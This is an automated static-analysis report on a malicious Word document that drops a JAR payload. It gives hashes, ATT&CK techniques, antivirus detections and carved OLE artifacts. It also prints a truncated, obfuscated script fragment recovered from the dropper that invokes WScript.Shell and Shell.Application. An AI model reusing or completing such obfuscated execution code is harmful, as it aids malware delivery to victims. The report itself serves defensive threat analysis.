Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e7f33ef8349f5d01…

MALICIOUS

Office (OOXML)

189.0 KB Created: 2018-03-16 08:06:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2019-05-31
MD5: 773332093518270f26b647c94834d3c3 SHA-1: 8bfbc5e900a8f67758647d5ea9060db29281de9c SHA-256: e7f33ef8349f5d01f9b8f64c2f140480088424e04923a1c6c46acfe4ccf0789a
242 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is an OOXML document identified as malicious by ClamAV, specifically as a dropper. It contains an embedded OLE object that is flagged as dropping an auto-executable payload, identified as a JAR file. This suggests the document's primary purpose is to deliver and execute a secondary malicious payload.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-6489793-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6489793-0
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded OLE object medium OOXML_OLE_OBJECT
    Document contains an embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://www.iec.chIn document text (OOXML body / shared strings)

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
ooxml_oleobject_00.bin ooxml-ole-object OOXML embedded OLE part: word/embeddings/oleObject2.bin 6656 bytes
SHA-256: 061011cd8c507874d425f17e1252d4b79b913757bf586ea3f82526e79bd68737
Detection
ClamAV: Doc.Dropper.Agent-6489793-0
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): WScript.Shell");r=new ActiveXObject(String.fromCharCode(83,104,101,108,108,46,65,112,112,108,105,99,97,116,105,111,110)),window.FileDestr=n[String.fromCharCode(69,120, Carved artifact contains 6 shell/COM execution token(s).
ooxml_oleobject_00_ole10native_00.bin ole-package OOXML word/embeddings/oleObject2.bin Ole10Native stream: Ole10Native 3489 bytes
SHA-256: 75107f445f06d36e44a568b533b49f22395d644a2099499fe5b41d5211b77300
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): WScript.Shell");r=new ActiveXObject(String.fromCharCode(83,104,101,108,108,46,65,112,112,108,105,99,97,116,105,111,110)),window.FileDestr=n[String.fromCharCode(69,120, Carved artifact contains 6 shell/COM execution token(s).
ooxml_oleobject_01.bin ooxml-ole-object OOXML embedded OLE part: word/embeddings/oleObject1.bin 127488 bytes
SHA-256: 3fd6187b167ee73c8d6406304f14bd6ce032b9509b4b52bc69df3212a2ede031
Detection
ClamAV: Doc.Dropper.Agent-6489818-0
Obfuscation or payload: likely
Carved artifact entropy is 7.94, consistent with packed or encrypted content.
ooxml_oleobject_01_ole10native_00.bin ole-package OOXML word/embeddings/oleObject1.bin Ole10Native stream: Ole10Native 123497 bytes
SHA-256: 0b4d8e68d2b118c215ec4d059c70943aab3ef5f95274b25990cb1272f0d6183c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.99, consistent with packed or encrypted content.
emf_00.emf ooxml-emf OOXML EMF part: word/media/image3.emf 5132 bytes
SHA-256: f5daab75ed66aded2931a08f1ae27fc3c1b37f7ae20819959ef60dbbfd5f505f
emf_01.emf ooxml-emf OOXML EMF part: word/media/image2.emf 5124 bytes
SHA-256: 93a132e00af23cf2064e9096163d4ca32bb89d17bf31b30b7a7e8d85bfca90af

Open this report in the interactive analyzer, or submit your own file for analysis.